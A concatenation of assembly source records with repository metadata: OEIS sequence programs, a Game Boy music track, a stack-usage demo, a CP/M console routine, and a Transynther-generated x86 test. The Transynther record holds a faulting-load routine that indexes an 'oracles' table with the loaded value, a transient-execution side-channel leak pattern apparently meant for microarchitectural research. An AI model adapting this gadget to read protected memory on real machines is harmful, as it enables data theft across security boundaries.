programs/oeis/199/A199011.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A199011: Triangle T(n,k), read by rows, given by (1,1,-1,1,0,0,0,0,0,0,0,...) DELTA (0,1,0,0,0,0,0,0,0,0,0,0,...) where DELTA is the operator defined in A084938. ; 1,1,0,2,1,0,3,3,1,0,4,6,4,1,0,5,10,10,5,1,0,6,15,20,15,6,1,0,7,21,35,35,21,7,1,0,8,28,56,70,56,28,8,1,0,9,36,84,126,126,84,36,9,1,0,10,45,120,210,252,210,120,45,10,1,0 mov $2,$0 cmp $2,0 mov $3,$0 add $3,$2 mod $0,$3 add $0,1 add $0,$3 cal $0,206735 ; Triangle T(n,k), read by rows, given by (0, 2, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) DELTA (1, 0, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) where DELTA is the operator defined in A084938. mov $1,$0
47
197
0.576105
752eba76395d45a0418e750b4b5f08867f2368f9
367
asm
Assembly
programs/oeis/048/A048271.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/048/A048271.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/048/A048271.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A048271: a(0) = 1, a(n+1) = -3*a(n) mod 11. ; 1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7,1,8,9,6,4,10,3,2,5,7 mov $1,1 mov $2,$0 lpb $2,1 mul $1,8 mod $1,11 sub $2,1 lpe
33.363636
253
0.509537
22623579f13448cf01a846a7b8542ef17f0d63a7
8,787
asm
Assembly
audio/music/route30.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
audio/music/route30.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
audio/music/route30.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
Music_Route30: musicheader 4, 1, Music_Route30_Ch1 musicheader 1, 2, Music_Route30_Ch2 musicheader 1, 3, Music_Route30_Ch3 musicheader 1, 4, Music_Route30_Ch4 Music_Route30_Ch1: tempo 144 volume $77 dutycycle $3 tone $0001 vibrato $10, $15 stereopanning $f0 notetype $c, $b2 octave 3 note D_, 6 note D_, 1 note D_, 1 note D_, 2 note D_, 2 note D_, 4 note D_, 6 note D_, 1 note D_, 1 note D_, 2 note D_, 2 intensity $4e note C_, 4 Music_Route30_branch_efc2e: intensity $b6 note D_, 6 intensity $b4 octave 2 note B_, 2 octave 3 note F_, 2 note E_, 2 note D_, 2 note E_, 2 intensity $b6 note F_, 6 intensity $b4 note C_, 2 note A_, 2 note G_, 2 note F_, 2 note C_, 2 note D_, 2 note G_, 2 note A_, 2 note G_, 2 note F_, 2 note E_, 2 note D_, 2 note E_, 2 note B_, 1 octave 4 note C_, 1 octave 3 note B_, 1 octave 4 note C_, 1 intensity $b7 octave 3 note B_, 12 intensity $b5 note F_, 6 note C_, 2 note A_, 2 note G_, 2 note F_, 2 note C_, 2 octave 4 note D_, 2 note C_, 2 octave 3 note B_, 2 note A_, 2 octave 4 note C_, 2 octave 3 note B_, 2 note A_, 2 note G_, 2 note D_, 1 note E_, 1 note D_, 1 note E_, 1 intensity $b6 note D_, 4 note G_, 4 note D_, 4 intensity $b3 octave 2 note B_, 1 octave 3 note C_, 1 octave 2 note B_, 1 octave 3 note C_, 1 intensity $b6 octave 2 note B_, 4 octave 3 note D_, 4 octave 2 note B_, 4 intensity $b4 octave 3 note F_, 2 note E_, 2 note D_, 2 note C_, 2 note A_, 2 note G_, 2 note F_, 2 note E_, 2 intensity $b6 note A_, 4 note B_, 4 octave 4 note C_, 4 note E_, 4 note D_, 2 octave 3 note G_, 4 note A_, 4 note B_, 4 octave 4 note C_, 2 octave 3 note G_, 2 intensity $b7 note D_, 14 intensity $b6 note F_, 2 note E_, 2 note D_, 2 note C_, 2 note A_, 2 note G_, 2 note F_, 2 note G_, 2 octave 4 note C_, 2 octave 3 note B_, 2 note A_, 2 note B_, 2 octave 4 note C_, 2 note E_, 2 note F_, 2 note A_, 2 octave 3 note G_, 2 octave 4 note C_, 2 note D_, 2 octave 3 note G_, 2 octave 4 note C_, 2 note D_, 2 octave 3 note G_, 2 octave 4 note D_, 2 intensity $b5 octave 3 note B_, 2 octave 4 note D_, 2 octave 3 note B_, 2 octave 4 note D_, 4 octave 3 note G_, 2 note B_, 2 octave 4 note D_, 2 loopchannel 0, Music_Route30_branch_efc2e Music_Route30_Ch2: dutycycle $3 vibrato $12, $36 stereopanning $f notetype $c, $c2 octave 3 note G_, 6 note G_, 1 note G_, 1 note G_, 2 note G_, 2 note G_, 4 note G_, 6 note G_, 1 note G_, 1 note G_, 2 note G_, 2 intensity $c4 note D_, 1 note E_, 1 note F_, 1 note F#, 1 Music_Route30_branch_efcf6: intensity $c7 note G_, 10 octave 4 note D_, 2 octave 3 note B_, 2 note G_, 2 octave 4 note F_, 10 note E_, 2 note D_, 2 note C_, 2 note D_, 1 note E_, 1 note D_, 1 note E_, 1 intensity $b0 note D_, 4 intensity $b7 note D_, 8 intensity $3f note D_, 8 intensity $b7 note D_, 8 intensity $c7 note C_, 10 note C_, 2 octave 3 note A_, 2 note F_, 2 octave 4 note F_, 10 note E_, 2 note D_, 2 note C_, 2 octave 3 note B_, 6 note G_, 2 octave 4 note D_, 8 octave 3 note G_, 6 note D_, 2 note B_, 8 note C_, 2 note A_, 4 note B_, 4 octave 4 note C_, 4 note D_, 2 note F_, 8 note A_, 8 note G_, 2 intensity $b0 note D_, 4 intensity $b7 note D_, 10 intensity $c7 note C_, 4 octave 3 note B_, 4 note A_, 4 note G_, 4 note A_, 4 note B_, 4 octave 4 note C_, 4 note D_, 4 note F_, 8 octave 5 note C_, 8 octave 4 note B_, 2 intensity $b0 note G_, 6 intensity $b7 note G_, 8 intensity $c7 note B_, 2 intensity $b0 note G_, 4 intensity $b7 note G_, 8 intensity $a7 octave 3 note F#, 2 loopchannel 0, Music_Route30_branch_efcf6 Music_Route30_Ch3: notetype $c, $27 octave 2 note G_, 1 note __, 5 note G_, 1 note G_, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 3 note G_, 1 note __, 5 note G_, 1 note G_, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 Music_Route30_branch_efd79: note G_, 1 note __, 1 note B_, 2 note __, 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note F_, 1 note __, 1 octave 3 note D_, 2 note A_, 2 octave 2 note F_, 1 note F_, 1 note F_, 1 note __, 1 octave 3 note C_, 2 octave 2 note F_, 1 note __, 1 note F#, 1 note __, 1 note G_, 1 note __, 1 note B_, 2 octave 3 note D_, 2 octave 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 octave 3 note D_, 2 octave 2 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 octave 3 note E_, 2 note D_, 2 octave 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note F_, 1 note __, 1 octave 3 note C_, 2 octave 2 note A_, 2 note F_, 1 note F_, 1 note F_, 1 note __, 1 octave 3 note C_, 2 octave 2 note F_, 1 note __, 1 note F_, 1 note __, 1 note F_, 1 note __, 1 octave 3 note C_, 2 note F_, 2 octave 2 note F_, 1 note F_, 1 note F_, 1 note __, 1 octave 3 note E_, 2 octave 2 note F_, 2 note F#, 2 note G_, 1 note __, 1 note B_, 2 octave 3 note G_, 2 octave 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 note B_, 2 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 octave 4 note D_, 2 octave 3 note B_, 2 octave 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 octave 3 note G_, 2 octave 2 note G_, 2 note G#, 2 note A_, 1 note __, 1 octave 3 note C_, 2 octave 2 note B_, 2 note A_, 1 note A_, 1 note A_, 1 note __, 1 octave 3 note D_, 2 octave 2 note A_, 1 note __, 1 note B_, 1 note __, 1 octave 3 note C_, 1 note __, 1 note F_, 2 note E_, 2 note C_, 1 note C_, 1 note C_, 1 note __, 1 note A_, 2 note C_, 1 note __, 1 note C_, 1 note __, 1 octave 2 note B_, 1 note __, 1 octave 3 note E_, 2 note D_, 2 octave 2 note B_, 1 note B_, 1 note B_, 1 note __, 1 note B_, 1 note __, 1 note B_, 1 note __, 1 note B_, 1 note __, 1 note G_, 1 note __, 1 note B_, 2 note A_, 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 note B_, 2 note G_, 1 note __, 1 note G_, 1 note __, 1 note A_, 1 note __, 1 octave 3 note C_, 2 octave 2 note B_, 2 note A_, 1 note A_, 1 note A_, 1 note __, 1 octave 3 note D_, 2 octave 2 note A_, 1 note __, 1 note B_, 1 note __, 1 octave 3 note C_, 1 note __, 1 note F_, 2 note E_, 2 note C_, 1 note C_, 1 note C_, 1 note __, 1 note A_, 2 note C_, 1 note __, 1 note C_, 1 note __, 1 octave 2 note G_, 1 note __, 1 octave 3 note C_, 2 note D_, 2 octave 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 octave 3 note E_, 2 note D_, 2 octave 2 note G_, 1 note G_, 1 note G_, 1 note __, 1 octave 3 note D_, 2 octave 2 note G_, 1 note __, 1 note G_, 1 note __, 1 loopchannel 0, Music_Route30_branch_efd79 Music_Route30_Ch4: togglenoise $3 notetype $c callchannel Music_Route30_branch_efeb8 callchannel Music_Route30_branch_efec1 Music_Route30_branch_efe84: callchannel Music_Route30_branch_efecd callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efee1 callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efecd callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efee1 callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efecd callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efed7 callchannel Music_Route30_branch_efecd callchannel Music_Route30_branch_efee1 loopchannel 0, Music_Route30_branch_efe84 Music_Route30_branch_efeb8: note D_, 2 note F#, 2 note F#, 2 note D_, 1 note D_, 1 note D_, 2 note D_, 2 note D_, 4 endchannel Music_Route30_branch_efec1: note D_, 2 note F#, 2 note F#, 2 note D_, 1 note D_, 1 note D_, 2 note D_, 2 note D_, 1 note D_, 1 note D_, 1 note D_, 1 endchannel Music_Route30_branch_efecd: note D_, 2 note F#, 2 note F#, 2 note D_, 1 note D_, 1 note D_, 2 note D_, 2 note D_, 2 note D_, 2 endchannel Music_Route30_branch_efed7: note D_, 2 note F#, 2 note F#, 2 note D_, 1 note D_, 1 note D_, 2 note F#, 2 note D_, 2 note D_, 2 endchannel Music_Route30_branch_efee1: note D_, 2 note F#, 2 note F#, 2 note D_, 1 note D_, 1 note D_, 2 note D_, 2 notetype $6 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 notetype $c endchannel
13.114925
42
0.657562
09ae995a10bbd5002e7567b47182212ba724e663
789
asm
Assembly
programs/oeis/212/A212518.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/212/A212518.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/212/A212518.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A212518: Number of (w,x,y,z) with all terms in {1,...,n} and w>2x and y>3z. ; 0,0,0,0,2,8,18,45,84,144,240,375,540,792,1092,1470,1960,2560,3240,4131,5130,6300,7700,9317,11088,13248,15600,18252,21294,24696,28350,32625,37200,42240,47872,54043,60588,68040,75924,84474,93860,104000,114660,126567,139062,152460,166980,182505,198720,216576,235200,255000,276250,298792,322218,347733,374220,402192,431984,463391,495900,531000,567300,605430,645792,688128,731808,778635,826914,877404,930580,986125,1043280,1104192,1166832,1232100,1300550,1371800,1444950,1522521,1602120,1684800,1771200,1860867,1952748,2049768,2149140,2252082,2359324,2470336,2583900,2703375,2825550,2951820,3083012,3218513,3356928,3502080,3650304,3803184 sub $0,1 mov $1,$0 bin $0,2 div $0,3 pow $1,2 div $1,2 mul $0,$1 div $0,2
65.75
635
0.787072
68867475a4692ad0dd9ed2d128d8694f8a1be668
346
asm
Assembly
programs/oeis/299/A299763.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/299/A299763.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/299/A299763.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A299763: a(n) = 1 + A182986(n). ; 1,3,4,6,8,12,14,18,20,24,30,32,38,42,44,48,54,60,62,68,72,74,80,84,90,98,102,104,108,110,114,128,132,138,140,150,152,158,164,168,174,180,182,192,194,198,200,212,224,228,230,234,240,242,252,258,264,270,272,278,282,284 sub $0,1 cal $0,40 ; The prime numbers. lpb $0 pow $0,4 div $0,4 lpe mov $1,$0 add $1,1
28.833333
218
0.653179
a033a720b13f2400a427debaab9e8242e836db90
7,606
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_759.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_759.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_759.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r8 push %rcx push %rdi push %rsi lea addresses_A_ht+0x13fb, %r10 nop nop nop nop add %r8, %r8 mov (%r10), %r12d nop sub %r13, %r13 lea addresses_A_ht+0x17ebb, %rsi lea addresses_A_ht+0x1c5ed, %rdi nop nop nop nop xor %r11, %r11 mov $115, %rcx rep movsw nop nop nop nop mfence lea addresses_A_ht+0x1da5b, %rcx nop nop cmp $11427, %rsi mov $0x6162636465666768, %r11 movq %r11, (%rcx) nop nop add $20450, %r11 lea addresses_WC_ht+0x32db, %r10 nop and %rdi, %rdi and $0xffffffffffffffc0, %r10 vmovntdqa (%r10), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r8 nop nop nop nop xor %r12, %r12 lea addresses_A_ht+0x1df5b, %r13 nop add %r8, %r8 and $0xffffffffffffffc0, %r13 movaps (%r13), %xmm7 vpextrq $0, %xmm7, %rsi nop nop nop sub %rdi, %rdi lea addresses_UC_ht+0x158d7, %rcx nop nop nop nop cmp $32894, %r12 mov (%rcx), %esi nop nop nop nop nop add %r13, %r13 lea addresses_normal_ht+0x811b, %r12 nop sub $44414, %rdi mov (%r12), %ecx nop nop nop nop add %rcx, %rcx lea addresses_WC_ht+0xb3db, %rsi lea addresses_A_ht+0x11a5b, %rdi nop nop dec %r12 mov $116, %rcx rep movsb xor $28841, %r11 lea addresses_A_ht+0x1b15b, %rsi lea addresses_D_ht+0x1a7ab, %rdi nop nop nop nop nop inc %r12 mov $3, %rcx rep movsw nop nop nop xor %rsi, %rsi lea addresses_WT_ht+0xe3db, %rsi lea addresses_normal_ht+0x14813, %rdi cmp %r13, %r13 mov $49, %rcx rep movsl inc %r11 lea addresses_WC_ht+0x6a5b, %rsi lea addresses_UC_ht+0x9a5b, %rdi nop nop nop nop nop and $22172, %r8 mov $5, %rcx rep movsl cmp %rcx, %rcx lea addresses_UC_ht+0x164cb, %r10 nop nop nop add $2062, %r13 mov (%r10), %r12d nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0xef5b, %rsi lea addresses_D_ht+0x2cca, %rdi nop nop nop nop nop xor $13408, %r10 mov $32, %rcx rep movsb nop nop nop xor $10838, %r12 pop %rsi pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rbx push %rdi // Store lea addresses_PSE+0x1abab, %r15 nop sub %rdi, %rdi mov $0x5152535455565758, %rbx movq %rbx, %xmm6 vmovups %ymm6, (%r15) nop nop nop inc %r15 // Faulty Load lea addresses_WT+0x1ca5b, %r15 nop nop nop and $37670, %rbx mov (%r15), %r14 lea oracles, %r15 and $0xff, %r14 shlq $12, %r14 mov (%r15,%r14,1), %r14 pop %rdi pop %rbx pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
34.107623
2,999
0.658953
5b111c845e278424d6709e666bb4a01ded5cb0eb
567
asm
Assembly
libsrc/stdio/cpm/fputc_cons.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/stdio/cpm/fputc_cons.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/stdio/cpm/fputc_cons.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; CPM Library ; ; Fputc_cons ; ; Stefano Bodrato - Apr. 2000 ; ; ; $Id: fputc_cons.asm,v 1.4 2015/01/19 01:33:20 pauloscustodio Exp $ ; PUBLIC fputc_cons ; ; Entry: hl = points to char ; .fputc_cons ld hl,2 add hl,sp ld a,(hl) cp 12 ; FF (CLS) ? jr z,docls cp 13 ; CR ? jr nz,nocrlf ld de,10 ; Add a LineFeed ld c,2 push af call 5 pop af .nocrlf ld e,a ; Send the character ld d,0 ld c,2 jp 5 .docls ; This is the ANSI CLS call ld e,27 ld c,2 call 5 ld e,'[' ld c,2 call 5 ld e,'J' ld c,2 jp 5
12.326087
68
0.567901
62ce0088cf0c11b13a48ded61c89840acf648d6c
1,779
asm
Assembly
MODULE1/4-stack_usage/weasel.asm
wetw0rk/SLAE
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
[ "MIT" ]
18
2017-11-28T01:10:10.000Z
2020-07-22T13:24:26.000Z
MODULE1/4-stack_usage/weasel.asm
wetw0rk/SLAE
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
[ "MIT" ]
null
null
null
MODULE1/4-stack_usage/weasel.asm
wetw0rk/SLAE
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
[ "MIT" ]
11
2018-12-14T16:18:03.000Z
2020-12-01T16:37:19.000Z
; Executable name : weasel ; Designed OS : Linux (32-bit) ; Author : wetw0rk ; Version : 1.0 ; Created Following : SLAE ; Description : A simple program that shows how the stack ; functions. This program is meant to be ran ; under the GNU debugger. ; ; Build using these commands: ; nasm -f elf32 -o weasel.o weasel.asm ; ld -o weasel weasel.o ; ; How to run and use this program (intention): ; gdb -q ./weasel ; SECTION .data PopGoes: db 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x10, 0x11 SECTION .text global _start _start: mov eax,0xdeadbeef ; MOV 0xdeadbeef into EAX ; Here is were the weasel begins to pop push ax ; PUSH AX (2 bytes) onto the stack (0xefbe) pop bx ; POP BX (2 bytes) from the stack onto BX (0xbeef) push eax ; PUSH EAX (4 bytes) onto the stack (0xefbeadde) pop ecx ; POP ECX (4 bytes) from stack onto ECX (0xdeadbeef) ; Example of memory push and pop push word [PopGoes] ; PUSH 2 bytes (0xAA, 0xBB) onto the stack from [PopGoes] pop ecx ; POP 4 bytes from the stack onto ECX push dword [PopGoes] ; PUSH 4 bytes from [PopGoes] (0xAA,0xBB,0xCC,0xDD) onto stack pop edx ; POP 4 bytes from the stack onto EDX ; Example of popad and pushad pushad ; PUSH all GP registers onto the stack xor eax,eax ; this is the same as MOV EAX,0 xor ebx,ebx ; ^ xor ecx,ecx ; | zero-ing out xor edx,edx ; | popad ; POP saved values from the stack back to GP registers ; The following registers should contain: EAX = 0xdeadbeef, ; EBX = 0xbeef, ECX = 0x1bbaa, EDX = 0xddccbbaa. This is ; awesome :) ; This should be second nature by now mov eax,1 ; syscall for exit() mov ebx,0 ; exit cleanly or 0 int 80h ; call dat kernel
29.65
85
0.655987
2173cdad6bb227beb4023d764301d1e5ba3f46a9
504
asm
Assembly
oeis/060/A060264.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/060/A060264.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/060/A060264.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A060264: First prime after 2n. ; Submitted by Jon Maiga ; 2,3,5,7,11,11,13,17,17,19,23,23,29,29,29,31,37,37,37,41,41,43,47,47,53,53,53,59,59,59,61,67,67,67,71,71,73,79,79,79,83,83,89,89,89,97,97,97,97,101,101,103,107,107,109,113,113,127,127,127,127,127,127,127,131,131,137,137,137,139,149,149,149,149,149,151,157,157,157,163,163,163,167,167,173,173,173,179,179,179,181,191,191,191,191,191,193,197,197,199 mul $0,2 seq $0,230980 ; Number of primes <= n, starting at n=0. seq $0,40 ; The prime numbers.
63
348
0.700397
ef2d0e6f21bc22e447176367dd97866f3e99db09
